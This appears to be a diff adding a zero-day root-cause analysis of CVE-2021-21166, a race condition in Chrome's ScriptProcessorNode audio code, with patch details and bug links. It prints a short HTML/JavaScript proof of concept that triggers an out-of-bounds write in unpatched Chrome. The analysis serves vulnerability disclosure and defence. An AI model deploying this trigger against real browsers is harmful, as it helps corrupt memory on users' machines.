■ ■ ■ ■ ■ ■
0day-RCAs/2021/CVE-2021-21166.md
| 1 | + | # CVE-2021-21166: Chrome Object Lifecycle Issue in Audio |
| 2 | + | *Clement Lecigne, Google Threat Analysis Group* |
| 3 | + | |
| 4 | + | ## The Basics |
| 5 | + | |
| 6 | + | **Disclosure or Patch Date:** 2 March 2021 |
| 7 | + | |
| 8 | + | **Product:** Google Chrome |
| 9 | + | |
| 10 | + | **Advisory:** |
| 11 | + | https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop.html |
| 12 | + | |
| 13 | + | **Affected Versions:** 89.0.4389.69 and previous |
| 14 | + | |
| 15 | + | **First Patched Version:** 89.0.4389.72 |
| 16 | + | |
| 17 | + | **Issue/Bug Reports:** |
| 18 | + | |
| 19 | + | * https://bugs.chromium.org/p/chromium/issues/detail?id=1174582 |
| 20 | + | * https://bugs.chromium.org/p/chromium/issues/detail?id=1181341 |
| 21 | + | * https://bugs.chromium.org/p/chromium/issues/detail?id=1177465 |
| 22 | + | |
| 23 | + | **Patch CL:** |
| 24 | + | |
| 25 | + | * https://chromium.googlesource.com/chromium/src/+/60987aa224f369fc0ea38c56e498389440921356 |
| 26 | + | * https://chromium.googlesource.com/chromium/src/+/b9e60ddc7606689e508f295077656389380288ba |
| 27 | + | |
| 28 | + | **Bug-Introducing CL:** N/A |
| 29 | + | |
| 30 | + | **Reporter(s):** |
| 31 | + | Alison Huffman of Microsoft Browser Vulnerability Research and Clement Lecigne of |
| 32 | + | Google Threat Analysis Group |
| 33 | + | |
| 34 | + | ## The Code |
| 35 | + | |
| 36 | + | **Proof-of-concept:** |
| 37 | + | |
| 38 | + | From [crbug/1174582](https://bugs.chromium.org/p/chromium/issues/detail?id=1174582) by Alison Huffman of Microsoft Browser Vulnerability Research: |
| 39 | + | |
| 40 | + | ```html |
| 41 | + | <html> |
| 42 | + | <body> |
| 43 | + | <script type="text/javascript"> |
| 44 | + | function sleep(ms) { |
| 45 | + | return new Promise(resolve => setTimeout(resolve, ms)) |
| 46 | + | } |
| 47 | + | |
| 48 | + | async function run() { |
| 49 | + | let array = new Float32Array(Array(256)); |
| 50 | + | let context = new AudioContext(); |
| 51 | + | let node = context.createScriptProcessor(); |
| 52 | + | let source = context.createBufferSource(); |
| 53 | + | let buffer = context.createBuffer(1, 1024, context.sampleRate); |
| 54 | + | let data = buffer.getChannelData(0); |
| 55 | + | data.set(array); |
| 56 | + | source.buffer = buffer; |
| 57 | + | source.loop = true; |
| 58 | + | source.connect(node); |
| 59 | + | node.connect(context.destination); |
| 60 | + | let inputBuffer = null; |
| 61 | + | node.onaudioprocess = (event) => { |
| 62 | + | inputBuffer = event.inputBuffer.getChannelData(0); |
| 63 | + | node.onaudioprocess = undefined; |
| 64 | + | } |
| 65 | + | source.start(); |
| 66 | + | await sleep(500); |
| 67 | + | while(true) { |
| 68 | + | // not thread safe on non-shared arrays |
| 69 | + | inputBuffer.sort() |
| 70 | + | } |
| 71 | + | } |
| 72 | + | </script> |
| 73 | + | <h1><a href="#" onclick="run()">Click Me!</a></h1> |
| 74 | + | </body> |
| 75 | + | </html> |
| 76 | + | ``` |
| 77 | + | |
| 78 | + | **Exploit sample:** N/A |
| 79 | + | |
| 80 | + | **Did you have access to the exploit sample when doing the analysis?** Yes |
| 81 | + | |
| 82 | + | ## The Vulnerability |
| 83 | + | |
| 84 | + | **Bug class:** Race Condition |
| 85 | + | |
| 86 | + | **Vulnerability details:** |
| 87 | + | |
| 88 | + | There is a threading issue in `ScriptProcessorNode::process()` where input and |
| 89 | + | output shared buffers are accessible concurrently by other threads without proper |
| 90 | + | locking. |
| 91 | + | |
| 92 | + | In the poc, `inputBuffer` is accessed concurrently from the audio thread and |
| 93 | + | from the main thread at the same time causing an out-of-bounds write during `std::sort()`. |
| 94 | + | |
| 95 | + | The very same issue [affected](https://bugs.webkit.org/show_bug.cgi?id=222447) |
| 96 | + | WebKit as well. We do not have any evidence that this vulnerability was used |
| 97 | + | to target Safari users. |
| 98 | + | |
| 99 | + | **Patch analysis:** |
| 100 | + | |
| 101 | + | There were two different fixes implemented to address this bug: |
| 102 | + | * Expand the scope of the existing mutex by locking the entire scope of the `Process` call within `ScriptProcessorNode`, and |
| 103 | + | * Instead of sharing the buffers across the main and audio threads, creating new AudioBuffers for each `onAudioProcess` call. |
| 104 | + | |
| 105 | + | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** |
| 106 | + | |
| 107 | + | **(Historical/present/future) context of bug:** |
| 108 | + | |
| 109 | + | ## The Exploit |
| 110 | + | |
| 111 | + | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) |
| 112 | + | |
| 113 | + | **Exploit strategy (or strategies):** Under analysis |
| 114 | + | |
| 115 | + | **Exploit flow:** Under analysis |
| 116 | + | |
| 117 | + | **Known cases of the same exploit flow:** |
| 118 | + | |
| 119 | + | **Part of an exploit chain?** |
| 120 | + | |
| 121 | + | This exploit was most likely chained with a sandbox escape that we did not manage to retrieve. |
| 122 | + | |
| 123 | + | ## The Next Steps |
| 124 | + | |
| 125 | + | ### Variant analysis |
| 126 | + | |
| 127 | + | **Areas/approach for variant analysis (and why):** |
| 128 | + | |
| 129 | + | **Found variants:** |
| 130 | + | |
| 131 | + | ### Structural improvements |
| 132 | + | |
| 133 | + | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? |
| 134 | + | |
| 135 | + | **Ideas to kill the bug class:** |
| 136 | + | |
| 137 | + | **Ideas to mitigate the exploit flow:** |
| 138 | + | |
| 139 | + | **Other potential improvements:** |
| 140 | + | |
| 141 | + | According to [this comment](https://bugs.chromium.org/p/chromium/issues/detail?id=1174582#c16), this feature was deprecated from the spec years ago. Remove the code. |
| 142 | + | |
| 143 | + | ### 0-day detection methods |
| 144 | + | |
| 145 | + | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? |
| 146 | + | |
| 147 | + | These types of exploits are likely hard to detect generically. |
| 148 | + | |
| 149 | + | ## Other References |
| 150 | + | * July 2021: ["How We Protect Users From 0-Day Attacks"](https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks) by Google's Threat Analysis Group |